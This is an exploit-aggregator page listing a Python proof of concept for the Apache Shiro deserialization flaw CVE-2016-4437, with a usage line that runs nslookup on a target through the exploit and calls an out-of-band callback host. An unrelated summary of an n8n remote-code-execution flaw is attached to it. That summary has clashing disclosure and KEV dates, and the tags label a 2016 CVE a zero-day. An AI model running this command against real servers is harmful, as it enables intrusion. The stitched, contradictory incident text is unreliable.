Back Sploitus

CVE-2016

Sploitus • September 13, 2026

Share: View original

##

Python POC для эксплуатации уязвимости десериализации Apache Shiro CVE-2016-4437 из-за жестко закодированного ключа шифрования

`./CVE-2016-4437.py -c nslookup -u -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun`

Смотрите комментарии и код для получения дополнительной информации.

The full story

This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.

Critical RCE Vulnerability in n8n Disclosed (CVE-2025-68613) CVE-2025-68613 is a critical remote code execution (RCE) vulnerability found in n8n, an open-source workflow automation platform. This flaw allows authenticated users to execute arbitrary code on the server, risking full system compromise. The CVSS score for this vulnerability is 9.9 to 10.0, indicating its severity. The vulnerability requires low-privilege authentication, making it particularly dangerous as it can be exploited by users with minimal access. A proof-of-concept (PoC) exploit is publicly available, and tools for detecting vulnerable instances have been released. n8n is widely used for integrating APIs and automating business processes, increasing the potential impact of this vulnerability. The vulnerability was disclosed on September 14, 2026, and is currently under active exploitation, having been added to the CISA KEV list on March 11, 2026. 2 sources 78

Extracted Entities

Attack Types (1)

Zero-day Exploit

CVEs (1)

CWE Weaknesses (1)

Cwe-502 - Deserialization Of Untrusted Data

MITRE ATT&CK (1)

T1190 - Exploit Public-Facing Application

Tools (1)

CVE-2016-4437.py